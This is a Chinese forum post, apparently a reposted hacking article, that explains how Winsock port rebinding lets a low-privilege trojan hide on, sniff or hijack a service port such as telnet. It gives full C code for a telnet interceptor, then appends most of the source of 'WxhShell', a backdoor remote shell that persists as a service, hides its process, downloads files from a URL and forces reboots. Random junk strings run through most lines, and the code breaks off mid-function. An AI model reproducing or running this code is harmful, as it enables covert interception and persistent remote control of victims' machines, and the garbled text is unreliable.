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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^nS'3g^"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MMI7FlfY  
.-6B6IEI_"  
  saddr.sin_family = AF_INET; Zu$30&U  
f0^DsP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iYyJq;S   
G%V*+Ond  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~S],)E1w  
qOV6Kh)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #hOAG_a,  
sKkk+-J4  
  这意味着什么?意味着可以进行如下的攻击: {M5[gr%  
W+'|zhn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Zm%U_$<  
\*5_gPj!d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T =l4Vb{>  
.!\NM&E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L b'HM-d  
zdwr5k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )T=cd   
M] +FTz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ier0F7]I  
DKjkO5R\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZS-O,[  
5F8sigr/h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bOi`JJ^   
~t $zypw  
  #include 8?L7h\)-  
  #include 1w)#BYc=L  
  #include N* C"+2  
  #include    kc3dWWPe  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Puu O2TZ  
  int main() =]OG5b_-Y  
  { !Ol>![  
  WORD wVersionRequested; @ y (9LSs  
  DWORD ret; 6<h?%j(  
  WSADATA wsaData; r&G=}ZMO  
  BOOL val; }#[MV+D  
  SOCKADDR_IN saddr; 7yU<!p?(  
  SOCKADDR_IN scaddr; \&&jzU2  
  int err; pN[G?A  
  SOCKET s; Kh!h_  
  SOCKET sc; $_6DvJ0  
  int caddsize; =)B@`"  
  HANDLE mt; L y!!+UM\  
  DWORD tid;   8H>: C (h  
  wVersionRequested = MAKEWORD( 2, 2 ); e7j3 0Iy  
  err = WSAStartup( wVersionRequested, &wsaData ); PTu~PVbp4  
  if ( err != 0 ) { ;+dB-g[  
  printf("error!WSAStartup failed!\n"); Vp;^_,  
  return -1; .@Z-<P"  
  } ;OlC^\e  
  saddr.sin_family = AF_INET; !,#42TY*X  
   t\hvhcbL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {%S>!RA  
"g)@jqq:>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2BU%4IG  
  saddr.sin_port = htons(23); g,5r)FU`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q L6Rs  
  { u0;FQr2  
  printf("error!socket failed!\n"); A;t6duBDf/  
  return -1; Y5}<7s\UDO  
  } ( aGwe@AS  
  val = TRUE; 1!@KRV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S$!)Uc\)A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;NrN#<j( !  
  { 8+Y+\XZG  
  printf("error!setsockopt failed!\n"); AwhXCq|k  
  return -1; `7|\Gqy  
  } $e=pdD~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \BT8-}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I/ pv0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K<HF!YU#I2  
\X5>HPB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7b,5*]oZ  
  { ;:nO5VFOg  
  ret=GetLastError(); t7rz]EN  
  printf("error!bind failed!\n"); dF$Fd{\4^  
  return -1; $Ik\^:-  
  } N7=L^]  
  listen(s,2); By|y:  
  while(1) {2`:7U ~|  
  { ('/5#^%R  
  caddsize = sizeof(scaddr); Fm@G@W7,m  
  //接受连接请求 -saisH6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sv<U$M~)X  
  if(sc!=INVALID_SOCKET) -[cl]H)V  
  { 2Uf}gG)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WXqrx*?*+  
  if(mt==NULL) RO-ABFEi(  
  { r-#23iT.~  
  printf("Thread Creat Failed!\n"); [p%@ pV  
  break; MLV_I4o  
  } O]OZt,k(  
  } 2TN+ (B#Z!  
  CloseHandle(mt); k<xiP@b{y  
  } ,Db+c3  
  closesocket(s); ,t4g^67R{  
  WSACleanup(); Sri,sZv  
  return 0; 7/.-dfEK  
  }   <<@vy{*Hg  
  DWORD WINAPI ClientThread(LPVOID lpParam) eMPk k=V  
  { gl/n*s#r_  
  SOCKET ss = (SOCKET)lpParam; b?#k  
  SOCKET sc; S ^?&a5{o  
  unsigned char buf[4096]; eGrC0[SH  
  SOCKADDR_IN saddr; >gAq/'.Q  
  long num; KmoPFlw  
  DWORD val; @\,WJmW  
  DWORD ret; V j\1 HQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .6Swc?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &8R%W"<K  
  saddr.sin_family = AF_INET; g{&a|NU^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :IFTiq5a;  
  saddr.sin_port = htons(23); GdFTKOq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "]}+QK_  
  { ipB*]B F[  
  printf("error!socket failed!\n"); Las4ux[_  
  return -1; 6,j6,Q(67  
  } qGtXReK  
  val = 100; =;.#Bds  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eW$G1h:  
  { 9QaEUy*,  
  ret = GetLastError(); ,Mf@I5?  
  return -1; {K-]nh/  
  } 9Ny{2m=Ye  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [4:_6vd7X  
  { V#;6 <H"  
  ret = GetLastError(); H R$\jJ  
  return -1; HFD5* Z~M  
  } cyq]-B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $ig%YB  
  { . W{\wk n  
  printf("error!socket connect failed!\n"); JV|GE n\@N  
  closesocket(sc); C<CE!|sfr  
  closesocket(ss); k$nQY  
  return -1; @,i_ KN6C  
  } o/E A%q1  
  while(1) M IPmsEdBi  
  { Fy N@mX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pqPhtWi%PJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xX l^\?HC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k36%n *4  
  num = recv(ss,buf,4096,0); >&h#t7<  
  if(num>0) 45l/)=@@B  
  send(sc,buf,num,0); 4C2JyP3  
  else if(num==0) 3R%'<MV|  
  break; [m7jZOEu  
  num = recv(sc,buf,4096,0); RG=!,#X  
  if(num>0) g+gHIb7{  
  send(ss,buf,num,0); (q+U5Ls6  
  else if(num==0) 0eY$K7 U  
  break; vS %r_gf(  
  } :_YpS w<Q  
  closesocket(ss); *h Ph01  
  closesocket(sc); &) 7umdSgi  
  return 0 ; mc_`:I=  
  } wXf_2qB9  
:(EU\yCzK  
x0wy3+GZc  
========================================================== |V{'W-` |[  
2ul!f7#E  
下边附上一个代码,,WXhSHELL 7-81,ADv(  
:70cOt~Z  
========================================================== -fu=RR  
ckRWVw   
#include "stdafx.h" %RgCU$s[>  
jj8AV lN  
#include <stdio.h> C.dN)?O  
#include <string.h> =BpX;n <  
#include <windows.h> kBd #=J  
#include <winsock2.h> /C29^P  
#include <winsvc.h> &Mbpv)V8  
#include <urlmon.h> $-9m8}U(Y  
uG@Nubdwuy  
#pragma comment (lib, "Ws2_32.lib") _] veTAV  
#pragma comment (lib, "urlmon.lib")  U=MFNp+  
Z?Y14L~%  
#define MAX_USER   100 // 最大客户端连接数 Hzh?w!Ow  
#define BUF_SOCK   200 // sock buffer ,-#8/9ts  
#define KEY_BUFF   255 // 输入 buffer !8M]n  
vx /NG$  
#define REBOOT     0   // 重启 V9f$zjpw  
#define SHUTDOWN   1   // 关机 _v:t$k#sN  
~itrM3^"w  
#define DEF_PORT   5000 // 监听端口 ZAVjq;bq  
i E>E*!aBg  
#define REG_LEN     16   // 注册表键长度 EE5I~k 5  
#define SVC_LEN     80   // NT服务名长度 {Sm^F  
^6`"f  
// 从dll定义API f}b= FV{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 21x?TZa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9mfqr$3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E'zLgU)r`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {(#Dou  
H'Q4IRT  
// wxhshell配置信息 >QV=q`I  
struct WSCFG { LO0<=4iN(  
  int ws_port;         // 监听端口 h-<2N)>!  
  char ws_passstr[REG_LEN]; // 口令 `Et)@{iP  
  int ws_autoins;       // 安装标记, 1=yes 0=no { [ QCuR  
  char ws_regname[REG_LEN]; // 注册表键名 zts%oIgV  
  char ws_svcname[REG_LEN]; // 服务名 d-w#\ ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +]P? ?`,R;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dBkw.VO W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u*0Ck*pZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OI</o0Ca  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1TeYA6 t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zLd i  
EEmYfP[3  
}; E4~k)4R  
fOs}5J  
// default Wxhshell configuration gB,~Y511  
struct WSCFG wscfg={DEF_PORT, 1:5jUUL8  
    "xuhuanlingzhe", )OxcJPo  
    1, Cc7PhoPK  
    "Wxhshell", y6tzmyg  
    "Wxhshell", _Vr>/f  
            "WxhShell Service", &|'k)6Rx  
    "Wrsky Windows CmdShell Service", qg6283'?  
    "Please Input Your Password: ", -E_lwK  
  1, ` MtI>x c  
  "http://www.wrsky.com/wxhshell.exe", ;(AVZxCM  
  "Wxhshell.exe" wd&Tf R4!  
    }; 7:'7EqM  
V'y,{YpP  
// 消息定义模块 $6Z@0H@X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9M{z@H/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nw|ls2   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [O92JT:li  
char *msg_ws_ext="\n\rExit."; G\4h4% a  
char *msg_ws_end="\n\rQuit."; $/sIdFZi  
char *msg_ws_boot="\n\rReboot..."; 6'+;5M!  
char *msg_ws_poff="\n\rShutdown..."; W,'30:#Fr7  
char *msg_ws_down="\n\rSave to "; H|&[,&M>  
w3oh8NRs_  
char *msg_ws_err="\n\rErr!"; T@0\z1,~S  
char *msg_ws_ok="\n\rOK!"; cC@B\Q  
k4Ed7T-  
char ExeFile[MAX_PATH]; <RQ\nU  
int nUser = 0; `{BY {  
HANDLE handles[MAX_USER]; j t9fcw  
int OsIsNt; *m$P17/C  
H]2cw{2  
SERVICE_STATUS       serviceStatus; jinDKJ,n;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ha_&U@w  
#_)<~  
// 函数声明 O3H dPQ  
int Install(void); ?QuD:v ck  
int Uninstall(void); . AJ(nJ)  
int DownloadFile(char *sURL, SOCKET wsh); !Wn^B|  
int Boot(int flag); G}ZJ}5h  
void HideProc(void); eiE36+'>b  
int GetOsVer(void); zi M~V'  
int Wxhshell(SOCKET wsl); 0~2~^A#]\  
void TalkWithClient(void *cs); p2Yc:9r9+A  
int CmdShell(SOCKET sock); _?Q0yVH;,  
int StartFromService(void); {akSK  
int StartWxhshell(LPSTR lpCmdLine); |/rms`YQ  
)xKZ)SxV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); imGg3'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z_^i2eJYT  
K]5@bm  
// 数据结构和表定义 i#c1 ZC  
SERVICE_TABLE_ENTRY DispatchTable[] = rt-^?2c?  
{ mOm_a9M L  
{wscfg.ws_svcname, NTServiceMain}, Ei@w*.3P<  
{NULL, NULL} n1D,0+N=  
}; ?Ybgzb  
x,)|;HXm  
// 自我安装 T \d-r#{  
int Install(void) a B(_ZX'L  
{ 90ZMO7_  
  char svExeFile[MAX_PATH]; P_Rh& gkuK  
  HKEY key; O2z{>\  
  strcpy(svExeFile,ExeFile); T\Zf`.mt  
[N] 5)n  
// 如果是win9x系统,修改注册表设为自启动 S3Q^K.e?  
if(!OsIsNt) { Y|%s =0M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F\LAw#IJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J0xV\O !e  
  RegCloseKey(key); )?es3Ehqq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jhU'UAn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vRp#bScc  
  RegCloseKey(key); xw[KP [(  
  return 0; 4}C^s\?z  
    } 1< 22,  
  } IY$v%%2WZ  
} C%#%_ "N  
else { :x85:pa  
`[.b>ztqgJ  
// 如果是NT以上系统,安装为系统服务 %ae|4u#b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ddR*&.Y!a  
if (schSCManager!=0) M1UabqQ  
{ b8Bf,&:ys  
  SC_HANDLE schService = CreateService 9@'^}c#  
  ( (6b*JQ^^  
  schSCManager, uO=yQ&  
  wscfg.ws_svcname, E]T>m!6  
  wscfg.ws_svcdisp, {, +,:w7  
  SERVICE_ALL_ACCESS, zn!H&!8&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w +pK=R  
  SERVICE_AUTO_START, =EE>QM  
  SERVICE_ERROR_NORMAL, #kho[`9  
  svExeFile, +MHsdeGU1W  
  NULL, kBF.TGT[l  
  NULL, /#WRd}IjK  
  NULL, a| w.G "W  
  NULL, $@WqM$  
  NULL yiourR)H<  
  ); uP;qs8  
  if (schService!=0) R ;XG2  
  { HhZlHL  
  CloseServiceHandle(schService); ~f:y^`+Q[  
  CloseServiceHandle(schSCManager); {lNvKm)w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b-'T>1V  
  strcat(svExeFile,wscfg.ws_svcname); k&oq6!ix  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o p{DPUO0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aHhr_.>X  
  RegCloseKey(key); yf 7Sz$Eq  
  return 0; kMJf!%L(  
    } ,Z_aZD4  
  } E[IjeJB5  
  CloseServiceHandle(schSCManager); h\]D:S  
} 8:D|[u;iG  
} `1O<UJX  
397IbZ\  
return 1; S5%I+G3  
} 3vcKK;qCB  
]x;*Z&  
// 自我卸载 1]DPy+  
int Uninstall(void) Oq[2<ept  
{  gAFu  
  HKEY key; [.ya&E)x  
\my5E\  
if(!OsIsNt) { _lK+/"-l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aRt`IcZYz  
  RegDeleteValue(key,wscfg.ws_regname); !Eqp,"ts7  
  RegCloseKey(key); '3<AzR2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F'NX  
  RegDeleteValue(key,wscfg.ws_regname); uD'GI  
  RegCloseKey(key); u*W6fg/"  
  return 0; v|]1x2191  
  } 7dg2-4  
} [unK5l4_!  
} ^0x0 rY  
else { %$'YP  
Q/u2Q;j>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0`=>/Wr39  
if (schSCManager!=0) DK6^\k][V  
{ xAZ-_}'tW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q3_ceXYU  
  if (schService!=0) uT\|jv,  
  { {jK:hQX  
  if(DeleteService(schService)!=0) { c3L)!]kB  
  CloseServiceHandle(schService); aAT!$0H  
  CloseServiceHandle(schSCManager); CC,f*I  
  return 0; +VE ] .*T  
  } { /u}  
  CloseServiceHandle(schService); qD] &&"B  
  } vV(?A  
  CloseServiceHandle(schSCManager); }=7? & b  
} 2:8p>^g=  
} SJ ay  
t_Q\uo}  
return 1; ~_XK<}SK  
} h?D>Dfeg%  
$vC}Fq  
// 从指定url下载文件 &/\Q6$a  
int DownloadFile(char *sURL, SOCKET wsh) l- mt{2  
{ 1xf Pe#  
  HRESULT hr; NKX,[o1  
char seps[]= "/"; be->ofUYgs  
char *token; $FJf8u`  
char *file;  << XWL:  
char myURL[MAX_PATH]; 9ZYT#h  
char myFILE[MAX_PATH]; ;A\SbLM  
Y8s.Q  
strcpy(myURL,sURL); K{vn[}  
  token=strtok(myURL,seps); bE6:pGr  
  while(token!=NULL) -zSkon2Y^  
  { 'zUWO_(  
    file=token; l(B(gPvU  
  token=strtok(NULL,seps); ab@1JAgs  
  } VhfM j|  
o`{@':%D`  
GetCurrentDirectory(MAX_PATH,myFILE); uE;bNs'  
strcat(myFILE, "\\"); o<\u Hr3  
strcat(myFILE, file); ua8Burl7  
  send(wsh,myFILE,strlen(myFILE),0); )%(V.?eW  
send(wsh,"...",3,0); Q7{/ T0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ';vL j1v  
  if(hr==S_OK) _U<r@  
return 0; Wcf;ZX  
else NB.s2I7  
return 1; a3wk#mH  
K|ZB!oq  
} #Rj&PzBe  
h1U8z)D#   
// 系统电源模块 X:Iam#H  
int Boot(int flag) tD j/!L`  
{ kc:>[{9  
  HANDLE hToken; [" PRxl  
  TOKEN_PRIVILEGES tkp; DKG99biJN  
b" PRa|]  
  if(OsIsNt) { 7`pK=E}+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =[D '3JB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7jzd I!  
    tkp.PrivilegeCount = 1; P2t9RCH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )J>-;EYb8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9e _8Z@|  
if(flag==REBOOT) {  Qk)E:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aS3Fvk0R{h  
  return 0; ,| Zkpn8  
} |ZmWhkOX  
else { ;) (F4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ej;\a:JL  
  return 0; 1${rQ9FIF  
} >S[NI<=8S  
  } 7,IH7l|G  
  else { C?h}n4\B^?  
if(flag==REBOOT) { aBblP8)8;K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7O]$2  
  return 0; 0Q)m>oL.  
}  IPDQ  
else { qi]"`\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lmbC2\GT  
  return 0; T[\?fSP  
} a j13cC$  
} wticA#mb  
%h^ f?.(:  
return 1; NN"!kuM  
} o'*7I|7a  
8Rric[v  
// win9x进程隐藏模块 ?Mj@;O9>'  
void HideProc(void) .ZVADVg\  
{ SMMvRF`7  
)ePQN~#K}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lG/h[  
  if ( hKernel != NULL ) d>-k-X-[  
  { 0)HZ5^J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AD0pmD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cd3;uB4\,  
    FreeLibrary(hKernel); ZGgM- O1  
  } L; (J6p]h  
T*bBw  
return; T~G~M/  
} tEl_a~s*3?  
a`E1rK'  
// 获取操作系统版本 +)U>mm,  
int GetOsVer(void) --BS/L-  
{ C/{%f,rU  
  OSVERSIONINFO winfo; %]\IC(q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IM8lA  
  GetVersionEx(&winfo); RS9mAeX4h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7:P+S%ZL  
  return 1; qf?X:9Wt  
  else Ns#R`WG)  
  return 0; E%np-is{1  
} sF!nSr  
7]pi.1i  
// 客户端句柄模块 mWiX@#,  
int Wxhshell(SOCKET wsl) cms9]  
{ ]IeyJ  
  SOCKET wsh; VqBb=1r%o7  
  struct sockaddr_in client; @@~Ql  
  DWORD myID; L>>Cx`ASi  
kW.it5Z#  
  while(nUser<MAX_USER) i&',g  
{ `44 }kkBT  
  int nSize=sizeof(client); U{|WN7Q:A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o^*k   
  if(wsh==INVALID_SOCKET) return 1; qrt2BT)  
$`'Xb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R A^-Pa.O  
if(handles[nUser]==0) rhQv,F9  
  closesocket(wsh); k:sFI @g  
else (N/KP+J$n  
  nUser++; SXF~>|h5<  
  } E(/M?>t-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DD^iEhG  
P8\bi"iiN  
  return 0; @/ G$ C9<  
} 5rPK7Jh`B  
s!eB8lkcT  
// 关闭 socket 9%6W_ 0>  
void CloseIt(SOCKET wsh) \`N<0COP  
{ c@<vFoq  
closesocket(wsh); _X"G(  
nUser--; Y2 QX9RN  
ExitThread(0); 04}" n  
} )D>= \ Me  
*wNO3tP't  
// 客户端请求句柄 Di>B:=  
void TalkWithClient(void *cs) x-Ug(/!^  
{ Kjfpq!NYE  
iW$f1=i  
  SOCKET wsh=(SOCKET)cs;  PH6NU&H  
  char pwd[SVC_LEN]; au~}s |#  
  char cmd[KEY_BUFF]; ~uRL+<.c  
char chr[1]; 9f7T.}HM  
int i,j; 2oFbS%OV  
o5`LLVif5y  
  while (nUser < MAX_USER) { = k7}[!T  
TL*8h7.(  
if(wscfg.ws_passstr) { ;rjd?r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]^c]*O[8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'pQ\BH  
  //ZeroMemory(pwd,KEY_BUFF); wD|I^y;  
      i=0; =lG/A[66  
  while(i<SVC_LEN) { {(j1#9+9  
y>jP]LR4  
  // 设置超时 b 9cY  
  fd_set FdRead; 6E0{(*  
  struct timeval TimeOut; lVR a{._m  
  FD_ZERO(&FdRead); X|wg7>kh*`  
  FD_SET(wsh,&FdRead); BMxe)izT;  
  TimeOut.tv_sec=8; H){lXR/#u  
  TimeOut.tv_usec=0; +x_9IvaW&?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {-Q=YDR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Trz41g  
"o6a{KY(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ux=0N]lc  
  pwd=chr[0]; A$;"9F@  
  if(chr[0]==0xd || chr[0]==0xa) { %IhUQ6  
  pwd=0; *!- J"h  
  break; 9W+RUh^W  
  } KE*8Y4#9  
  i++; 7,:$, bL  
    } pxgVYr.  
NR|t~C+  
  // 如果是非法用户,关闭 socket O=2SDuBZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l %M0^d6M  
} h.WvPZ2U  
Ka|, qkb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C<u<:4^H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ObIL  w  
w/UZ6fu  
while(1) { 3qNLosm#M  
(//f"c]/  
  ZeroMemory(cmd,KEY_BUFF); Gr}lr gPS  
~4'AnoD1w  
      // 自动支持客户端 telnet标准   hCFgZiH2  
  j=0; [8$K i$;  
  while(j<KEY_BUFF) {  QnN cGH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !,z ==Qp|v  
  cmd[j]=chr[0]; N,F$^ q6  
  if(chr[0]==0xa || chr[0]==0xd) { d@aPhzLu  
  cmd[j]=0; e_Un:r@)  
  break; @?E|]H!S]  
  } lS!uL9t.  
  j++; %{*)-_M  
    } 4Ow0g-{  
IqrT@jgN-  
  // 下载文件 z [9f  
  if(strstr(cmd,"http://")) { '#Pg:v_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W< sa6,$  
  if(DownloadFile(cmd,wsh)) (W'.vEl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RjW< H6a"K  
  else I/V lH:o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EnD }|9  
  } .{ +Ob i  
  else { #'lqE)T  
r< ~pSj  
    switch(cmd[0]) { '7;b+Vbl#  
  ZA{T0:  
  // 帮助 h =E)5&Z  
  case '?': { rD":Gac  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Mx\W|YK  
    break; U\~9YX8  
  } S%{^@L+V  
  // 安装 |ryV7VJ8  
  case 'i': { <A+n[h  
    if(Install()) W3aFao>!OZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *47',Qy  
    else W _JGJV.^f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ 0g\g~[  
    break; q47:kB{d  
    } .XTR HL*:  
  // 卸载 ]~!?(d!J/  
  case 'r': { ).l`N&_peM  
    if(Uninstall()) PT/TQW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2X6 >6`w  
    else :Y)jf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n4%ZR~9WH  
    break; $vjl-1x&  
    } MIF`|3$,  
  // 显示 wxhshell 所在路径 S;L=W9=wby  
  case 'p': { bpp{Z1/4  
    char svExeFile[MAX_PATH]; K}e:zR;;^  
    strcpy(svExeFile,"\n\r"); X" m0||  
      strcat(svExeFile,ExeFile); *}<Uh'?  
        send(wsh,svExeFile,strlen(svExeFile),0); 0tb%h[%,M  
    break; QMAineO  
    } 2/F";tc\'  
  // 重启 i&_&4  
  case 'b': {  TG^?J`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SR8)4:aKW  
    if(Boot(REBOOT)) Q!*}^W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |S0nR<x-M  
    else { 1~aP)q  
    closesocket(wsh); o4PJ9x5R!  
    ExitThread(0); ~4^~w#R  
    } =&~7Q"  
    break; 9S_PZH  
    } 1Xn:B_pP  
  // 关机 CR8szMa  
  case 'd': { eEl71  
